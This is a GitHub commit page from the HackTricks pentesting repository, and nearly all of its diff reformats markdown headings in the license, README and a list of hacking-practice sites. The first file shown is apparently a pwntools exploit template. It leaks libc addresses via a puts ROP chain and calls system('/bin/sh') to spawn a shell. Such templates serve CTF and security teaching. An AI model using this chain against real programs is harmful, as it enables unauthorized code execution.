Skip to content

Commit

Permalink
fix mess
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop committed May 1, 2022
1 parent 71f97f5 commit dd63321
Show file tree
Hide file tree
Showing 351 changed files with 4,540 additions and 5,180 deletions.
26 changes: 13 additions & 13 deletions .gitbook/assets/template.py
@@ -1,9 +1,9 @@
from pwn import * # Import pwntools


####################
#### CONNECTION ####
####################
###################
### CONNECTION ####
###################
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
Expand Down Expand Up @@ -36,9 +36,9 @@
gdb.attach(p.pid, "continue")


####################
#### Find offset ###
####################
###################
### Find offset ###
###################
OFFSET = "A"*40
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
Expand All @@ -51,9 +51,9 @@
exit()


#####################
#### Find Gadgets ###
#####################
####################
### Find Gadgets ###
####################
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
Expand Down Expand Up @@ -93,9 +93,9 @@ def get_addr(func_name):
# this implies that in the future if you search for functions in libc, the resulting address
# will be the real one, you can use it directly (NOT NEED TO ADD AGAINF THE LIBC BASE ADDRESS)

#################################
### GET SHELL with known LIBC ###
#################################
################################
## GET SHELL with known LIBC ###
################################
BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
Expand All @@ -108,5 +108,5 @@ def get_addr(func_name):
p.clean()
p.sendline(rop2)

##### Interact with the shell #####
#### Interact with the shell #####
p.interactive() #Interact with the conenction
1 change: 0 additions & 1 deletion 1911-pentesting-fox.md
Expand Up @@ -16,7 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

</details>

## 1911 - Pentesting fox

And more services:

Expand Down
2 changes: 0 additions & 2 deletions 6881-udp-pentesting-bittorrent.md
Expand Up @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
</details>


# 6881/udp - Pentesting BitTorrent



<details>
Expand Down
22 changes: 11 additions & 11 deletions LICENSE.md
Expand Up @@ -24,25 +24,25 @@ Human Readable License: https://creativecommons.org/licenses/by-nc/4.0/<br>
Complete Legal Terms: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>

## creative commons
# creative commons

# Attribution-NonCommercial 4.0 International

Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.

### Using Creative Commons Public Licenses
## Using Creative Commons Public Licenses

Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.

* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).

* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).

## Creative Commons Attribution-NonCommercial 4.0 International Public License
# Creative Commons Attribution-NonCommercial 4.0 International Public License

By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.

### Section 1 – Definitions.
## Section 1 – Definitions.

a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.

Expand All @@ -68,7 +68,7 @@ k. __Sui Generis Database Rights__ means rights other than copyright resulting f

l. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.

### Section 2 – Scope.
## Section 2 – Scope.

a. ___License grant.___

Expand Down Expand Up @@ -100,7 +100,7 @@ b. ___Other rights.___

3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.

### Section 3 – License Conditions.
## Section 3 – License Conditions.

Your exercise of the Licensed Rights is expressly made subject to the following conditions.

Expand Down Expand Up @@ -130,7 +130,7 @@ a. ___Attribution.___

4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.

### Section 4 – Sui Generis Database Rights.
## Section 4 – Sui Generis Database Rights.

Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:

Expand All @@ -142,15 +142,15 @@ c. You must comply with the conditions in Section 3(a) if You Share all or a sub

For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.

### Section 5 – Disclaimer of Warranties and Limitation of Liability.
## Section 5 – Disclaimer of Warranties and Limitation of Liability.

a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__

b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__

c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.

### Section 6 – Term and Termination.
## Section 6 – Term and Termination.

a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.

Expand All @@ -166,13 +166,13 @@ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material

d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.

### Section 7 – Other Terms and Conditions.
## Section 7 – Other Terms and Conditions.

a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.

b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.

### Section 8 – Interpretation.
## Section 8 – Interpretation.

a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.

Expand Down
20 changes: 10 additions & 10 deletions Learning & Hacking.md
@@ -1,51 +1,51 @@
# Learning Pages and VMs

## https://tryhackme.com/
# https://tryhackme.com/

Tryhackme is a platform with virtual machines that need to be solved through walkthroughs, which is very good for beginners and normal CTFs where you self must hack into the machines.



## https://www.root-me.org/
# https://www.root-me.org/

Rootme is another page for online hosted virtual machines to hack.



## https://www.vulnhub.com/
# https://www.vulnhub.com/

Vulnhub has machines to download and then to hack



## https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue
# https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue

Hackthebox has online machines to hack, but there are very limited in the free version.

Recently the launched their academy, but it is a bit more expensive than for example tryhackme and has less.



## https://hack.me/
# https://hack.me/

This site seems to be a community platform



## https://www.hacker101.com/
# https://www.hacker101.com/

Free and smale site with videos and CTFs


## https://crackmes.one/
# https://crackmes.one/

This site has a lot of binarys for forensic learning.

## https://overthewire.org/wargames/
# https://overthewire.org/wargames/

The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.
Perfect for beginners.

## https://www.hackthissite.org/missions/basic/
# https://www.hackthissite.org/missions/basic/

## https://attackdefense.com/
# https://attackdefense.com/
15 changes: 7 additions & 8 deletions README.md
Expand Up @@ -22,21 +22,20 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

</details>

## HackTricks

![](.gitbook/assets/p.png)

**Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.**

Here you can find a little **introduction:**

### [**Pentesting Methodology**](pentesting-methodology.md)
## [**Pentesting Methodology**](pentesting-methodology.md)

Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**.

**Click in the title to start!**

### Support HackTricks
## Support HackTricks

Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

Expand All @@ -46,9 +45,9 @@ And if you are a PEASS & HackTricks enthusiast, you can get your hands now on ou
You can also, **join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) **to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts**, or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\
If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.

### Corporate Sponsors
## Corporate Sponsors

#### [STM Cyber](https://www.stmcyber.com)
### [STM Cyber](https://www.stmcyber.com)

![](<.gitbook/assets/image (642) (1) (1) (1).png>)

Expand All @@ -58,7 +57,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm

**STM Cyber** also support cybersecurity open source projects like HackTricks :)

#### [Intrigiti](https://www.intigriti.com)
### [Intrigiti](https://www.intigriti.com)

![](<.gitbook/assets/image (638).png>)

Expand All @@ -68,7 +67,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm

{% embed url="https://go.intigriti.com/hacktricks" %}

#### [**INE**](https://ine.com)
### [**INE**](https://ine.com)

![](.gitbook/assets/ine\_logo-3-.jpg)

Expand All @@ -84,7 +83,7 @@ You can find **my reviews of the certifications eMAPT and eWPTXv2** (and their *
[ine-courses-and-elearnsecurity-certifications-reviews.md](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md)
{% endcontent-ref %}

### License
## License

**Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**If you want to use it with commercial purposes, contact me.**
Expand Down

0 comments on commit dd63321

Please sign in to comment.